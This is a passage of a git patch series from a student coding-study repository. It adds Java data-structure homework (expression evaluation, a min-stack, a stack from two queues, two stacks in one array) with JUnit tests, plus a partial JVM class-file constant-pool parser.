+            PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+            Assert.assertEquals(12, expr.evaluate(),0.001f);
+        }
+        {
+            //(3+4)*5-6
+            PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+            Assert.assertEquals(29, expr.evaluate(),0.001f);
+        }
+        {
+            //1+((2+3)*4)-5
+            PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+            Assert.assertEquals(16, expr.evaluate(),0.001f);
+        }
+
+    }
+}
diff --git a/group23/601689050/7weekExpr2/Stack.java b/group23/601689050/7weekExpr2/Stack.java
new file mode 100644
index 0000000000..614ba2860c
--- /dev/null
+++ b/group23/601689050/7weekExpr2/Stack.java
@@ -0,0 +1,50 @@
+import java.util.ArrayList;
+import java.util.EmptyStackException;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class Stack {
+    public ArrayList array;
+    public int count;
+    public Stack(){
+        array = new ArrayList();
+    }
+    public void push (Object o){
+        count ++ ;
+        array.add(o);
+    }
+    public Object pop(){
+        count -- ;
+        Object o = array.get(count);
+        array.remove(o);
+        return o;
+    }
+    public Object peek(){
+        if(count  == 0){
+            throw new EmptyStackException();
+        }
+        return array.get(array.size()-1);
+    }
+    public boolean isEmpty(){
+        return array.size() == 0;
+    }
+    public int size(){
+        return count;
+    }
+    public String toString(){
+        StringBuilder string = new StringBuilder();
+        Stack s = new Stack();
+        int size = this.size();
+        for(int i = 0;i<size;i++){
+            string.append(this.peek().toString());
+            if(i < size -1)
+                string.append(",");
+            s.push(this.pop());
+        }
+        while (!s.isEmpty()){
+            this.push(s.pop());
+        }
+        return string.toString();
+    }
+}
diff --git a/group23/601689050/7weekExpr2/Token.java b/group23/601689050/7weekExpr2/Token.java
new file mode 100644
index 0000000000..069178c5b7
--- /dev/null
+++ b/group23/601689050/7weekExpr2/Token.java
@@ -0,0 +1,49 @@
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class Token {
+    public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+    private static final Map<String,Integer> priorities = new HashMap<>();
+    static {
+        priorities.put("+", 1);
+        priorities.put("-", 1);
+        priorities.put("*", 2);
+        priorities.put("/", 2);
+    }
+    static final int OPERATOR = 1;
+    static final int NUMBER = 2;
+    String value;
+    int type;
+    public Token(int type, String value){
+        this.type = type;
+        this.value = value;
+    }
+
+    public boolean isNumber() {
+        return type == NUMBER;
+    }
+
+    public boolean isOperator() {
+        return type == OPERATOR;
+    }
+
+    public int getIntValue() {
+        return Integer.valueOf(value).intValue();
+    }
+    public String toString(){
+        return value;
+    }
+
+    public boolean hasHigherPriority(Token t){
+        if(!this.isOperator() && !t.isOperator()){
+            throw new RuntimeException("numbers can't compare priority");
+        }
+        return priorities.get(this.value) - priorities.get(t.value) > 0;
+    }
+
+}
diff --git a/group23/601689050/7weekExpr2/TokenParser.java b/group23/601689050/7weekExpr2/TokenParser.java
new file mode 100644
index 0000000000..17716e0c08
--- /dev/null
+++ b/group23/601689050/7weekExpr2/TokenParser.java
@@ -0,0 +1,47 @@
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by Lxx on 2017/4/29.
+ */
+public class TokenParser {
+    public List<Token> parse(String expr){
+        List<Token> tokens = new ArrayList<>();
+        int i = 0;
+        while (i < expr.length()) {
+
+            char c = expr.charAt(i);
+            if (isOperator(c)) {
+
+                Token t = new Token(Token.OPERATOR,String.valueOf(c));
+                tokens.add(t);
+                i++;
+            }else if(Character.isDigit(c)){
+                int nextOperatorIndex = indexOfNextOperator(i,expr);
+                String value = expr.substring(i,nextOperatorIndex);
+                Token t = new Token(Token.NUMBER,value);
+                tokens.add(t);
+                i = nextOperatorIndex;
+            }else {
+                //System.out.println("输入值不符合要求");
+                i++;
+            }
+        }
+        return tokens;
+    }
+
+    private int indexOfNextOperator(int i, String expr) {
+        while(Character.isDigit(expr.charAt(i))){
+            i++;
+            if(i == expr.length()){
+                break;
+            }
+        }
+        return i;
+    }
+
+    private boolean isOperator(char c) {
+        String sc = String.valueOf(c);
+        return Token.OPERATORS.contains(sc);
+    }
+}

From 8535b404d992ba7a58b5c0f552a5514e2f6b5984 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Sat, 6 May 2017 11:06:50 +0800
Subject: [PATCH 196/262] =?UTF-8?q?=E5=AE=8C=E6=88=90=E6=9C=80=E5=B0=8F?=
 =?UTF-8?q?=E6=95=B0=E6=A0=88=EF=BC=8C2=E4=B8=AA=E9=98=9F=E5=88=97?=
 =?UTF-8?q?=E5=AE=9E=E7=8E=B0=E6=A0=88=EF=BC=8C=E4=B8=80=E4=B8=AA=E6=95=B0?=
 =?UTF-8?q?=E7=BB=84=E5=AE=9E=E7=8E=B02=E4=B8=AA=E6=A0=88?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding2017/basic/stack/QuickMinStack.java |  42 +++++++
 .../basic/stack/QuickMinStackTest.java        |  69 ++++++++++++
 .../basic/stack/StackWithTwoQueues.java       |  50 +++++++++
 .../basic/stack/StackWithTwoQueuesTest.java   |  49 ++++++++
 .../basic/stack/TwoStackInOneArray.java       | 105 ++++++++++++++++++
 .../basic/stack/TwoStackInOneArrayTest.java   |  88 +++++++++++++++
 6 files changed, 403 insertions(+)
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStack.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStackTest.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackWithTwoQueues.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackWithTwoQueuesTest.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/TwoStackInOneArray.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/TwoStackInOneArrayTest.java

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStack.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..255d08ab60
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStack.java
@@ -0,0 +1,42 @@
+package com.github.miniyk2012.coding2017.basic.stack;
+
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ * 我用的有序链表实现的最小数栈，感觉不是好方法
+ */
+public class QuickMinStack<E extends Comparable<E>> {
+	List<E> sortedList = new LinkedList<E>();  // 从小到大排列
+	Stack<E> stack = new Stack();
+
+	public void push(E data){
+		stack.push(data);
+		for (int i=0; i<sortedList.size(); i++) {
+			if (data.compareTo(sortedList.get(i)) > 0) {
+			    i++;
+            } else {
+			    sortedList.add(i, data);
+			    return;
+            }
+		}
+        sortedList.add(data);
+	}
+	public E pop(){
+		E result = stack.pop();
+		sortedList.remove(result);
+		return result;
+	}
+
+    /**
+     * 如果为空，抛异常；否则给出栈中最小数
+     * @return
+     */
+	public E findMin(){
+		return sortedList.get(0);
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStackTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStackTest.java
new file mode 100644
index 0000000000..f461cbf864
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStackTest.java
@@ -0,0 +1,69 @@
+package com.github.miniyk2012.coding2017.basic.stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+
+public class QuickMinStackTest {
+    QuickMinStack stack;
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Rule
+    public ExpectedException expectedEx = ExpectedException.none();
+
+    @Test
+    public void test() {
+        stack = new QuickMinStack<Integer>();
+
+
+        stack.push(5);
+        stack.push(3);
+        stack.push(2);
+        stack.push(4);
+        stack.push(1);
+        assertEquals(1, stack.findMin());
+        assertEquals(1, stack.pop());
+        assertEquals(2, stack.findMin());
+        assertEquals(4, stack.pop());
+        assertEquals(2, stack.findMin());
+        assertEquals(2, stack.pop());
+
+
+        assertEquals(3, stack.findMin());  // [3, 5]
+
+
+        stack.push(7);   // [7,3,5]
+        assertEquals(3, stack.findMin());
+        stack.push(-1);  // [-1,7,3,5]
+        assertEquals(-1, stack.findMin());
+
+        assertEquals(-1, stack.pop());
+        assertEquals(3, stack.findMin());
+        assertEquals(7, stack.pop());
+        assertEquals(3, stack.findMin()); // [3,5]
+        stack.push(3);  // [3,3,5]
+        assertEquals(3, stack.pop()); // [3,5]
+        assertEquals(3, stack.findMin());
+        assertEquals(3, stack.pop());  // [5]
+        assertEquals(5, stack.findMin());
+        assertEquals(5, stack.pop());  // []
+        
+
+        //栈为空，抛出异常
+        expectedEx.expect(Exception.class);
+        stack.findMin();
+        stack.pop();
+
+    }
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackWithTwoQueues.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..015bcbc176
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,50 @@
+package com.github.miniyk2012.coding2017.basic.stack;
+
+
+import java.util.LinkedList;
+import java.util.Queue;
+
+public class StackWithTwoQueues<E> {
+    private Queue<E> queue1 = new LinkedList<>();
+    private Queue<E> queue2 = new LinkedList<>();
+
+    public boolean isEmpty() {
+        return queue1.isEmpty() && queue2.isEmpty();
+    }
+
+    public void push(E data) {
+        if (queue1.isEmpty()) {
+            queue1.add(data);
+            move(queue2, queue1);
+        } else {
+            queue2.add(data);
+            move(queue1, queue2);
+        }
+    }
+
+    public E pop() {
+        if (!queue1.isEmpty()) {
+            return queue1.remove();
+        } else {
+            return queue2.remove();
+        }
+    }
+
+    public E peek() {
+        if (!queue1.isEmpty()) {
+            return queue1.peek();
+        } else {
+            return queue2.peek();
+        }
+    }
+
+    public int size() {
+        return queue1.size() + queue2.size();
+    }
+
+    private void move(Queue q1, Queue q2) {
+        while(!q1.isEmpty()) {
+            q2.add(q1.remove());
+        }
+    }
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackWithTwoQueuesTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..d07ed2ec72
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackWithTwoQueuesTest.java
@@ -0,0 +1,49 @@
+package com.github.miniyk2012.coding2017.basic.stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+
+
+public class StackWithTwoQueuesTest {
+    StackWithTwoQueues stack;
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Rule
+    public ExpectedException expectedEx = ExpectedException.none();
+
+    @Test
+    public void test() {
+	stack = new StackWithTwoQueues<Integer>();
+	assertEquals(true, stack.isEmpty());
+
+	stack.push(1);
+	stack.push(2);
+	stack.push(3);
+	assertEquals(3, stack.size());
+	assertEquals(false, stack.isEmpty());
+	assertEquals(3, stack.pop());
+	stack.push(43);
+	assertEquals(43, stack.pop());
+	assertEquals(2, stack.pop());
+	assertEquals(1, stack.pop());
+
+	assertEquals(0, stack.size());
+	assertEquals(true, stack.isEmpty());
+
+	expectedEx.expect(Exception.class);
+	stack.pop();
+    }
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/TwoStackInOneArray.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..6208d81cb2
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,105 @@
+package com.github.miniyk2012.coding2017.basic.stack;
+
+import train.Visitor_Pattern.ObjectStructure;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，
+ * 压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray<E> {
+	Object[] data = new Object[2];
+	//
+	private int top1 = 0;  // 前半段栈下一个要放入的位置
+	private int top2 = 1;  // 后半段栈下一个要放入的位置
+
+    /**
+     *  保证容量，在push前调用
+     */
+	private void ensureCapacity() {
+	    // 如果2个指针相遇，则需要扩容
+	    if (top1 >= top2) {
+            int oldLength = data.length;
+            int newLength = oldLength * 2;
+            Object[] copied = new Object[newLength];
+            // 拷贝前半段
+            System.arraycopy(data, 0, copied, 0, size1());
+            // 拷贝后半段
+            System.arraycopy(data, top2+1, copied, newLength-size2(), size2());
+            top2 = newLength - size2() - 1;
+            data = copied;
+        }
+    }
+
+    /**
+     * 栈1的元素个数
+     * @return
+     */
+    public int size1() {
+	    return top1;
+    }
+
+    /**
+     * 栈2的元素个数
+     */
+    public int size2() {
+        return data.length - top2 - 1;
+    }
+
+    /**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(E o){
+		ensureCapacity();
+		data[top1++] = o;
+	}
+	/**
+	 * 从第一个栈中弹出元素,为空抛异常
+	 * @return
+	 */
+	public E pop1(){
+	    return (E) data[--top1];
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素,为空则返回null
+	 * @return
+	 */
+	
+	public E peek1(){
+        if (size1() == 0) {
+            return null;
+        }
+        return (E) data[top1-1];
+	}
+
+	/**
+	 * 向第二个栈压入元素
+	 */
+	public void push2(E o){
+        ensureCapacity();
+        data[top2--] = o;
+    }
+	/**
+	 * 从第二个栈弹出元素,为空抛异常
+	 * @return
+	 */
+	public E pop2(){
+        return (E) data[++top2];
+	}
+
+	/**
+	 * 获取第二个栈的栈顶元素，,为空则返回null
+	 * @return
+	 */
+	public  E peek2(){
+	    if (size2() == 0) {
+	        return null;
+        }
+        return (E) data[top2+1];
+	}
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/TwoStackInOneArrayTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..a390199d6d
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/TwoStackInOneArrayTest.java
@@ -0,0 +1,88 @@
+package com.github.miniyk2012.coding2017.basic.stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+
+import java.util.IntSummaryStatistics;
+
+public class TwoStackInOneArrayTest {
+    TwoStackInOneArray stack;
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Rule
+    public ExpectedException expectedEx = ExpectedException.none();
+
+    @Test
+    public void test() {
+	stack = new TwoStackInOneArray<Integer>();
+	stack.push1(3);
+	stack.push1(5);
+	stack.push1(6);
+	stack.push1(11);
+	assertEquals(11, stack.peek1());
+	assertEquals(11, stack.pop1());
+	assertEquals(6, stack.pop1());
+	stack.push1(61);
+	assertEquals(3, stack.size1());
+	assertEquals(61, stack.pop1());
+	assertEquals(5, stack.pop1());
+	assertEquals(3, stack.peek1());
+	assertEquals(3, stack.pop1());
+	assertEquals(0, stack.size1());
+
+	stack.push2(123);
+	stack.push2(1);
+	stack.push2(4);
+
+	stack.push1(3);
+	stack.push1(5);
+	stack.push1(6);
+	assertEquals(3, stack.size1());
+	assertEquals(3, stack.size2());
+
+	stack.push2(123);
+	stack.push2(1);
+	stack.push2(4);
+	stack.push2(12);
+	stack.push2(2);
+	stack.push2(8);
+	assertEquals(9, stack.size2());
+	assertEquals(6, stack.pop1());
+	assertEquals(5, stack.peek1());
+	assertEquals(5, stack.pop1());
+	assertEquals(3, stack.pop1());
+
+	assertEquals(8, stack.pop2());
+	assertEquals(2, stack.pop2());
+	assertEquals(12, stack.pop2());
+	assertEquals(4, stack.pop2());
+	assertEquals(1, stack.pop2());
+	assertEquals(123, stack.pop2());
+	assertEquals(4, stack.pop2());
+	assertEquals(1, stack.pop2());
+	assertEquals(123, stack.pop2());
+
+	assertEquals(0, stack.size1());
+	assertEquals(0, stack.size2());
+
+	assertNull(stack.peek1());
+	assertNull(stack.peek2());
+	// 栈1,2为空，抛出异常
+	expectedEx.expect(Exception.class);
+	stack.pop2();
+	stack.pop1();
+	}
+
+}

From 40737de164792f0072503bd262842f60b9d95a25 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Sat, 6 May 2017 11:28:34 +0800
Subject: [PATCH 197/262] =?UTF-8?q?=E6=9C=80=E5=B0=8F=E6=95=B0=E6=A0=88?=
 =?UTF-8?q?=E6=9B=B4=E5=A5=BD=E7=9A=84=E6=96=B9=E6=B3=95=EF=BC=8CminStack?=
 =?UTF-8?q?=E4=BF=9D=E5=AD=98=E4=BA=86=E6=9B=BE=E7=BB=8F=E7=9A=84=E6=9C=80?=
 =?UTF-8?q?=E5=B0=8F=E6=95=B0=E7=9A=84=E5=85=A5=E6=A0=88=E9=A1=BA=E5=BA=8F?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding2017/basic/stack/QuickMinStack.java | 48 +++++++++++++++++--
 .../basic/stack/QuickMinStackTest.java        |  2 +-
 2 files changed, 45 insertions(+), 5 deletions(-)

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStack.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStack.java
index 255d08ab60..d1aa6229bf 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStack.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStack.java
@@ -11,10 +11,11 @@
  * 我用的有序链表实现的最小数栈，感觉不是好方法
  */
 public class QuickMinStack<E extends Comparable<E>> {
-	List<E> sortedList = new LinkedList<E>();  // 从小到大排列
+	List<E> sortedList = new LinkedList<>();  // 从小到大排列,对应于V1
 	Stack<E> stack = new Stack();
+	Stack<E> minStack = new Stack<>();  // 更好的方法
 
-	public void push(E data){
+	public void pushV1(E data){
 		stack.push(data);
 		for (int i=0; i<sortedList.size(); i++) {
 			if (data.compareTo(sortedList.get(i)) > 0) {
@@ -26,7 +27,7 @@ public void push(E data){
 		}
         sortedList.add(data);
 	}
-	public E pop(){
+	public E popV1(){
 		E result = stack.pop();
 		sortedList.remove(result);
 		return result;
@@ -36,7 +37,46 @@ public E pop(){
      * 如果为空，抛异常；否则给出栈中最小数
      * @return
      */
-	public E findMin(){
+	public E findMinV1(){
 		return sortedList.get(0);
 	}
+
+    /**
+     * 如果为空，抛异常；否则给出栈中最小数
+     * @return
+     */
+    public E findMin(){
+        return minStack.peek();
+    }
+
+    /**
+     * 入栈时，若data小于等于minStack的栈顶元素，则data同时入栈stack和minStack
+     * 否则，只入栈stack
+     * @param data
+     */
+    public void push(E data) {
+	    if (minStack.isEmpty()) {
+	        minStack.push(data);
+	        stack.push(data);
+	        return;
+        }
+
+        if (data.compareTo(minStack.peek()) <= 0) {
+	        minStack.push(data);
+        }
+        stack.push(data);
+    }
+
+    /**
+     * 若stack的栈顶元素与minStack的栈顶元素相同，则minStack也要pop
+     * 若为空抛异常
+     * @return
+     */
+    public E pop(){
+        E result = stack.pop();
+        if (result.compareTo(minStack.peek()) == 0) {
+            minStack.pop();
+        }
+        return result;
+    }
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStackTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStackTest.java
index f461cbf864..3a82462631 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStackTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStackTest.java
@@ -58,7 +58,7 @@ public void test() {
         assertEquals(3, stack.pop());  // [5]
         assertEquals(5, stack.findMin());
         assertEquals(5, stack.pop());  // []
-        
+
 
         //栈为空，抛出异常
         expectedEx.expect(Exception.class);

From 9c94437f20615b7bfaa57cd8f55d714ec6099b7a Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Sat, 6 May 2017 11:30:12 +0800
Subject: [PATCH 198/262] =?UTF-8?q?=E6=B3=A8=E9=87=8A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../miniyk2012/coding2017/basic/stack/QuickMinStack.java       | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStack.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStack.java
index d1aa6229bf..2911f5fa09 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStack.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStack.java
@@ -8,12 +8,11 @@
  * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
  * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
  * @author liuxin
- * 我用的有序链表实现的最小数栈，感觉不是好方法
  */
 public class QuickMinStack<E extends Comparable<E>> {
 	List<E> sortedList = new LinkedList<>();  // 从小到大排列,对应于V1
 	Stack<E> stack = new Stack();
-	Stack<E> minStack = new Stack<>();  // 更好的方法
+	Stack<E> minStack = new Stack<>();  // 更好的方法，保存了曾经的最小数的入栈顺序
 
 	public void pushV1(E data){
 		stack.push(data);

From 9eb7e6d53ea476c8c984a1555bdd37f4bcb8a1a2 Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Sat, 6 May 2017 16:26:59 +0800
Subject: [PATCH 199/262] the fifth homwork  JVM, ClassFileParser, constantPool

---
 .../src/jvm/loader/ClassFileLoader.java       |  65 +-------
 .../src/jvm/loader/ClassFileParser.java       | 151 ++++++++++++++++++
 .../test/jvm/ClassFileloaderTest.java         | 108 +++++++++++--
 3 files changed, 254 insertions(+), 70 deletions(-)
 create mode 100644 group19/1294642551/src/jvm/loader/ClassFileParser.java

diff --git a/group19/1294642551/src/jvm/loader/ClassFileLoader.java b/group19/1294642551/src/jvm/loader/ClassFileLoader.java
index 8e133e40cd..7517ddc4fc 100644
--- a/group19/1294642551/src/jvm/loader/ClassFileLoader.java
+++ b/group19/1294642551/src/jvm/loader/ClassFileLoader.java
@@ -1,7 +1,5 @@
 package jvm.loader;
 
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
@@ -70,68 +68,13 @@ public String getClassPath(){
 	}
 
 	public ClassFile loadClass(String className) {
-//		byte[] codes = this.readBinaryCode(className);
-//		ClassFileParser parser = new ClassFileParser();
-//		return parser.parse(codes);
-		return null;
-		
-	}
-	
-	
-	
-	// ------------------------------backup------------------------
-    public String getClassPath_V1(){
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
 		
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<this.clzPaths.size();i++){
-			buffer.append(this.clzPaths.get(i));
-			if(i<this.clzPaths.size()-1){
-				buffer.append(";");
-			}
-		}
-		return buffer.toString();
 	}
 	
-	private byte[] loadClassFile_V1(String clzFileName) {
-		
-		BufferedInputStream bis = null;
-		
-		try {
-			
-			File f = new File(clzFileName);
-			
-						
-			bis = new BufferedInputStream(new FileInputStream(f));
-			
-			ByteArrayOutputStream bos = new ByteArrayOutputStream();
-			
-			
-			byte[] buffer = new byte[1024];
-			int length = -1;
-			
-			while((length = bis.read(buffer)) != -1){
-				bos.write(buffer, 0, length);				
-			}
-			
-			byte [] codes = bos.toByteArray();
-			
-			return codes;
-			
-		} catch(IOException e){
-			e.printStackTrace();
-			
-		} finally{
-			if(bis != null){
-				try {
-					bis.close();
-				} catch (IOException e) {					
-					e.printStackTrace();
-				}
-			}
-		}
-		return null;
-		
-	}
+
 
 
 
diff --git a/group19/1294642551/src/jvm/loader/ClassFileParser.java b/group19/1294642551/src/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..f282790d0e
--- /dev/null
+++ b/group19/1294642551/src/jvm/loader/ClassFileParser.java
@@ -0,0 +1,151 @@
+package jvm.loader;
+
+
+
+import jvm.clz.AccessFlag;
+import jvm.clz.ClassFile;
+import jvm.clz.ClassIndex;
+import jvm.constant.ClassInfo;
+import jvm.constant.ConstantInfo;
+import jvm.constant.ConstantPool;
+import jvm.constant.FieldRefInfo;
+import jvm.constant.MethodRefInfo;
+import jvm.constant.NameAndTypeInfo;
+import jvm.constant.NullConstantInfo;
+import jvm.constant.StringInfo;
+import jvm.constant.UTF8Info;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		ClassFile clzFile = new ClassFile();
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+		iter.nextUxToHexString(4);
+		
+		int minorVersion = getMinorVersion(iter);
+		clzFile.setMinorVersion(minorVersion);
+		
+		int majorVersion = getMajorVersion(iter);
+		clzFile.setMajorVersion(majorVersion);
+		
+		ConstantPool constantPool = parseConstantPool(iter);
+		clzFile.setConstPool(constantPool);
+		
+		AccessFlag accessFlag = parseAccessFlag(iter);
+		clzFile.setAccessFlag(accessFlag);
+		
+		ClassIndex clzIndex = parseClassInfex(iter);
+		clzFile.setClassIndex(clzIndex);
+		
+		return clzFile;
+	}
+	
+	// 次版本号
+	private int getMinorVersion(ByteCodeIterator iter){
+		int minorVersion = iter.nextU2ToInt();
+		return minorVersion;
+	}
+	
+	// 主版本号
+	private int getMajorVersion(ByteCodeIterator iter){
+		int majorVersion = iter.nextU2ToInt();
+		return majorVersion;
+	}
+	
+
+	// 访问标志
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		int flagValue = iter.nextU2ToInt();
+		AccessFlag accessFlag = new AccessFlag(flagValue);
+		return accessFlag;
+	}
+
+	// 本类和父类
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+		ClassIndex classIndex = new ClassIndex();
+		int thisClassIndex = iter.nextU2ToInt();
+		int superClassIndex = iter.nextU2ToInt();
+		
+		classIndex.setThisClassIndex(thisClassIndex);
+		classIndex.setSuperClassIndex(superClassIndex);
+		
+		return classIndex;
+
+	}
+
+	// 常量池
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		ConstantPool constantPool = new ConstantPool();
+		int poolSize = iter.nextU2ToInt();
+		constantPool.addConstantInfo(new NullConstantInfo());
+		for(int i = 1; i < poolSize; i++){
+			ConstantInfo constantInfo = null;
+			
+			int type = iter.nextU1toInt();
+			if(type == 1){
+				UTF8Info utf8Info = new UTF8Info(constantPool);
+				int length = iter.nextU2ToInt();
+				int[] codes = new int[length];
+				StringBuilder sb = new StringBuilder();
+				for(int j = 0; j < length; j++){
+					codes[j] = iter.nextU1toInt();
+					sb.append((char)codes[j]);
+				}
+				String value = sb.toString();
+				
+				utf8Info.setLength(length);
+				utf8Info.setValue(value);
+				constantInfo = utf8Info;
+				
+			}else if(type == 7){
+				ClassInfo classInfo = new ClassInfo(constantPool);
+				int utf8Index = iter.nextU2ToInt();
+				classInfo.setUtf8Index(utf8Index);
+				constantInfo = classInfo;
+				
+			}else if(type == 8){
+				StringInfo stringInfo = new StringInfo(constantPool);
+				int index = iter.nextU2ToInt();
+				stringInfo.setIndex(index);
+				constantInfo = stringInfo;
+				
+			}else if(type == 9){
+				FieldRefInfo fieldRefInfo = new FieldRefInfo(constantPool);
+				int classInfoIndex = iter.nextU2ToInt();
+				int nameAndTypeIndex = iter.nextU2ToInt();
+				fieldRefInfo.setClassInfoIndex(classInfoIndex);
+				fieldRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				constantInfo = fieldRefInfo;
+				
+			}else if(type == 10){
+				MethodRefInfo methodRefInfo = new MethodRefInfo(constantPool);
+				int classInfoIndex = iter.nextU2ToInt();
+				int nameAndTypeIndex = iter.nextU2ToInt();
+				methodRefInfo.setClassInfoIndex(classInfoIndex);
+				methodRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				constantInfo = methodRefInfo;
+				
+			}else if(type == 12){
+				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(constantPool);
+				int nameIndex = iter.nextU2ToInt();
+				int descIndex = iter.nextU2ToInt();
